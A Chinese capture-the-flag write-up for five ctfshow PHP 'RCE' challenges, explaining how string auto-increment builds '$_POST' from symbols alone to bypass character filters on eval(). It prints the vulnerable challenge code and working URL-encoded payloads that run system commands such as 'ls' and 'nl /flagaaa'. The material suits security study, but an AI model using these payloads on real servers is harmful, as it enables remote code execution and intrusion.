ctfshow RCE极限挑战 wp

这五题都做出来,真的不容易呀,最终终于是在比赛结束以前全部做完了,拿到了十几块钱,是一个星期的早餐了,嘿嘿嘿嘿,哎,不过对于,自增的理解可以说是提升很多很多,这里主要讲的自增,主要详细讲解他是怎么用的。

目录

基本

题目详解

RCE挑战1

RCE挑战2

RCE挑战3

RCE挑战4

RCE挑战5


基本

我们首先我们要知道自增,在ctf中主要就是用于命令执行的无参执行,在php本身用的就是主要就是循环比较多。

<?php
//这里定义$a='a';
$a = 'a';
$a++;
echo $a; //b

$b = 'b';
$b--;
echo $b; //b

这里我们定义一个a的变量,赋值为a,进行自增之后就是变成b了,这里是根据ascii,来自增的,但是这里我们要知道PHP的ascii是不能自减的,应该是。


a的ascii码是61,++就是相当于+1,然后就变成62,62对应的ascii码就是就是b

我们接下来,来分析一个基础的自增马,来给大家先看看

 这里就将别人的分好直接拿过来,哈哈哈

<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__='';  //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E  把两个短杠赋值为E
$_=++$_; //F  一个短杠继续自增
$_=++$_; //G 
$__=$_.$__; // GE  一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);

首先这里提醒一下,首先自增主要用于无参执行,所以通常都是没什么东西可以用的,通常就是上面这些。


接下给大家分析一下, 我们都知道在PHP当中我们定义一个数组的时候,直接用echo或printf之类返回的时候他就会输出Array,只有使用var_dump()的时候才是输出数组的内容。


 

但是这里我们要知道他返回,但是这只是他的返回值,我们还不能使用,因为他现在还不是字符串,我们要使用英语的句号,来进行拼接,这样他就是字符串了,且赋值给了变量_,这样我们才能使用它,当然并不一定是[].[],才行,我们可以拼接很多东西都可以,例如这里就可以拼接,[]._  也是可以的


 

然后下面我们要用索引来取A了,当然取其他的也是可以的,$_['']和$_[0]是一样的,使用$_[_]也是一样的

然后在这前面我们还要了解一下这些东西。

PHP在进行计算的时候认为结果是无限大时他会返回结果是:INF ( Infinite)

这里举个列:echo (1/0);  //就会输出INF


 

当然这里提醒一下,无限小数是不行的,举例: echo (1/3); //不会返回INF


 

PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); //就会输出NAN


 

要问他有什么用,这就要看上面的数组嘞,也是要取里面的字母。

然后感觉到这里就差不多了,开始讲解题目了。

题目详解

RCE挑战1

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

这里审计代码发现,他是过滤了,括号和点,还是常用的这两个。
这里我们使用内联执行绕过。

?><?=`ls`;    //反引号实际上是使用shell_exec()函数
?><?=$(ls);  //这个和上面一样,不过这题好像执行不了,大家当一个扩展吧

然后?><?=`ls /`;  发现flag,cat一下就可以了

RCE挑战2

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

我们们先用脚本跑一下,看看有哪些字符还能用

<?php
for($a = 0; $a < 256; $a++){
    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($a))){
        echo chr($a)." ";
    }
}
?>

字符主要是有这些,然后还有一些不可见字符,当然这些就算了

! $ ' ( ) + , . / ; = [ ] _

//这是我这一题做出来的所用的
$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$___='_';$___.=$__;($$___[_])($$___[__]);


ctf_show=%24_%3D%5B%5D.%5B%5D%3B%24__%3D%27%27%3B%24_%3D%24_%5B%27%27%5D%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24__.%3D%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24__%3D%24_.%24__%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24__.%3D%24_%3B%24___%3D%27_%27%3B%24___.%3D%24__%3B%28%24%24___%5B_%5D%29%28%24%24___%5B__%5D%29%3B
//然后get传_=system&__=ls

确实很长,这个用的主要是上面基础的那个自增马然后更改一下最后面的一些东西东西,更改一下;,所以这个就不详细讲了

这时候就有人问了这里传进去为什么是url编码,不是有%吗,%不是被禁了吗,这里我们在本地环境看一下。

这里发现,系统接受到的是这些,并不是URL编码后的,而是已经解码过的

RCE挑战3

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

还是老样子用脚本先看看有哪些没被禁。
$ ( ) + , . / 0 1 ; = [ ] _     //比上面多了不少东西

然后看看代码,发现这次多了长度限制,要小于105.

$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);

//执行这一串就可以了
ctf_show=%24_%3D%28%5B%5D.%5B%5D%29%5B0%5D%3B%24_%3D%28%24_/%24_.%24_%29%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D%28%24%24_%5B1%5D%29%3B&_=system&1=ls

 这里我们拆开来看

<?php
$_=([].[])[0]; 
//这里就是上面的数组拼接,强制返回ArrayArray, 取第一个A
$_=($_/$_.$_)[0]; 
//这里是关键php的计算上面有说,其实这里麻烦了,只是当时不知道, 这里返回 N
$_++; //O
$__=$_.$_++; 
//这里是进行了++的,所以$_等于P, $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里最后一个也是进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[1]); // $_POST[_]($_POST[1]);

至于为什么使用POST,因为N下面就有post的所有字母,而且比较近,记得我上面讲得php的ascii他应该是不能自减,所以组GET要废很多时间

RCE挑战4

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

老样子先看过滤
$ ( ) + , . / 0 ; = [ ] _

就少了一个1,但是1感觉用到的也少

$_=((0/0).[])[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);

//这样提交就可以了
ctf_show=%24_%3D%28%280/0%29.%5B%5D%29%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D%28%24%24_%5B0%5D%29%3B&_=system&0=ls

还是这样拆分开了看

<?php
$_=((0/0).[])[0]; 
//这里是关键php的计算上面有说,其实这里麻烦了,只是当时不知道, 这里返回 N
$_++; //O
$__=$_.$_++; // $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);

RCE挑战5

咳咳,到这题,其实感觉出题人已经不当人了诶,群里已经有五六个疯了,咳咳咳。

 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

先看看过滤,嗯确实是不当人
$ ( ) + , . / ; = [ ] _

先看看给大家看看我的wp,在详细讲一下

ctf_show=$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=ls

注意这里使用burp,不要使用hackber,我就是因为它呜呜呜呜

这里我们从头开始讲

<?php
$_=(_/_._)[_];
$_++;
$__=$_.$_++;
$_++;$_++;$_=_.$__.++$_.++$_;
$$_[_]($$_[__]);

这个是我一开始的,但是很抱歉,这个是76,差了三个

$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_=_.$__.++$_.++$_;$$_[_](\$$_[__]);

但是这时候我发现,嗯~,好像用了三个__,要是换成一个就刚刚好,这时候我就想到了一些特殊字符,就是我们数学常用的α

尝试一下,嘿嘿,没被过滤,但是这还是不行

$_=(_/_._)[_];$_++;$α=$_.$_++;$_++;$_++;$_=_.$α.++$_.++$_;$$_[_]($$_[α]);

 这是第二代,但是因为α,url编码传过去,发现不行,呜呜呜呜,他是解码以后是三个呜呜呜

 但是我这时候想起来,跑过滤脚本的时候,是有很多不可见字符的,我们重新跑一下,重新编码一下

<?php
for($a = 0; $a < 256; $a++){
    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($a))){
        echo urlencode(chr($a))." ";
    }
}
?>

/*回显了很多
%00 %01 %02 %03 %04 %05 %06 %07 %08 %09 %0A %0B %0C %0D %0E %0F %10 %11 %12 %13 %14 %15 %16 %17 %18 %19 %1A %1B %1C %1D %1E %1F + %21 %24 %27 %28 %29 %2B %2C . %2F %3B %3D %5B %5D _ %7F %80 %81 %82 %83 %84 %85 %86 %87 %88 %89 %8A %8B %8C %8D %8E %8F %90 %91 %92 %93 %94 %95 %96 %97 %98 %99 %9A %9B %9C %9D %9E %9F %A0 %A1 %A2 %A3 %A4 %A5 %A6 %A7 %A8 %A9 %AA %AB %AC %AD %AE %AF %B0 %B1 %B2 %B3 %B4 %B5 %B6 %B7 %B8 %B9 %BA %BB %BC %BD %BE %BF %C0 %C1 %C2 %C3 %C4 %C5 %C6 %C7 %C8 %C9 %CA %CB %CC %CD %CE %CF %D0 %D1 %D2 %D3 %D4 %D5 %D6 %D7 %D8 %D9 %DA %DB %DC %DD %DE %DF %E0 %E1 %E2 %E3 %E4 %E5 %E6 %E7 %E8 %E9 %EA %EB %EC %ED %EE %EF %F0 %F1 %F2 %F3 %F4 %F5 %F6 %F7 %F8 %F9 %FA %FB %FC %FD %FE %FF*/

不要随便挑一个,这里选的是%FA

这个传过去,发现还是不行。。。这时候就有点人傻了,用本地的看看,发现他是判断%FA为三个

所以这时候就拦包看一下了

发现他将传上去的东西进行了编码,额怪不得是三个,被当成三个字符处理了

然后就是第四代,用burp传,加号要进行编码不然就代表空格了,哎,心累

ctf_show=$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=nl /flagaaa

72位写法

上面是我自己的,剩下是两个,是官方wp,写在这里当学习一下了,顺便看看大佬的操作。
这一个是和我差不多的嘿嘿,我终于知道为什么设置成73位,这大概是g4大佬他原以为的极限就是73位,因为这里使用的是扩展gettext,可以少一位,这里抄一下。


 

限制73个字符,而且0也不可以用了,但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数`_()` ,相当于`gettext()`,直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简

<?php
$_=_(_/_)[_];//相当于gettext(0/0)[0],得到N
$_=++$_;//O
$%FA=_.++$_.$_;//_PO
$_++;$_++;//R
$%FA.=++$_.++$_;//_POST
$$_[_]($$_[%FA]);//$_POST[a]($_POST[_])

 这个其实才是预期的解法,我这里没有使用gettext,因为我不知道呜呜呜呜,也不会呜呜呜
那时候我尝试过,但是我本地是没有这个扩展的理所应当就报错啦。。。。

<?php
$_=(_/_._)[_];
$_++;
$%FA=$_.$_++; //这里为PO
$_++;$_++;
$_=_.$%FA.++$_.++$_;
$$_[_]($$_[%FA]);

这个才是我的做法,没想到呀,我是非预期。。。

至于那里为什么是PO,说实在我也有一些讲不明白感觉,用他们wp说吧,嘿嘿,下面是直接抄的

至于为什么$_=$a.$a++;这一步得到的是PO而不是OP,或者OO,而$_=_.$a.$a++;得到的是_OO,经过和用这种做法的师傅们讨论,目前分析下来最有可能的原因是,PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO这里相当于先执行了$a++操作(函数),并得到$a++的返回值,然后和左侧的$a变量进行拼接,此时$a已经是P了。而$_=_.$a.$a++;时先执行了_$a的拼接,而后再执行$_='_O'.$a++,所以得到的是_OO。*以上所有均为猜测,具体机制需研究PHP源码。

然后这两个一结合就是72位了,各位师傅们太强了。

<?php
$_=_(_._)[_];
$_++;
$%FA=$_.$_++; //这里为PO
$_++;$_++;
$_=_.$%FA.++$_.++$_;
$$_[_]($$_[%FA]);

62位写法

这两位才是真的大佬,比我少了11位,wc,我人看傻了,太厉害了。

<?PHP
$_=_(%FA.%FA)[_];//N  //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb

最后提示大家一句,这种题目,尝试和笔记真的挺重要的,我这里那时候的使用的一些,不断缩减的努力

<?php
//$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$___='_';$___.=$__;($$___[_])($$___[__]);
//246
//$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=($_/$_.$_)[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$___='_';$___.=$__;($$___[_])($$___[__]);
//208
//$_=[].[];$__='';$_=$_[''];$_=($_/$_.$_)[''];$_=++$_;$__.=$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$__.=$_;$___='_';$___.=$__;$__=$$___;$__['_']($__['__']);
//176
//$_=[].[];$_=$_[''];$_=($_/$_.$_)[''];$_++;$__.=$_;$_++;$__=$_.$__;$_++;$_++;$_++;$__.=$_;$_=_.$__.++$_;($_[_])($_[__]);
//119
//$_=[].[];$_=$_[''];$_=($_/$_.$_)[''];$_++;$__=$_;$_++;$___=$_;$_++;$_++;$_++;$_=_.$___.$__.$_.++$_;($$_[_])($$_[__]);
//117
//$_=[].[];$_=$_[''];$_=($_/$_.$_)[''];$_++;$__=$_;$_++;$__=$_.$__;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//113
//$_=([].[])[''];$_=($_/$_.$_)[''];$_++;$__=$_;$_++;$__=$_.$__;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//109
//$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);
//95
//$_=(0/0).[];$_=$_[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);
//85
//$_=((0/0).[])[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]); 
//82
//$_=((_/_).[])[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//82
//$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//79
//$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_].$$_[__];  好像不能使用
//78
//$_=(_/_._)[_];$_++;$α=$_.$_++;$_++;$_++;$_++;$_=_.$α.$_.++$_;$$_[_]($$_[__]);
//77
//$_=(_/_._)[_];$_++;$α=$_.$_++;$_++;$_++;$_=_.$α.++$_.++$_;$$_[_]($$_[α]); 这个不行
//73
//$_=(_/_._)[_];$_++;$%FA=$_.$_++;$_++;$_++;$_=_.$%FA.++$_.++$_;$$_[_]($$_[%FA]);
//73
  • 10
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

练习两年半的篮球选..哦不对安全选手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值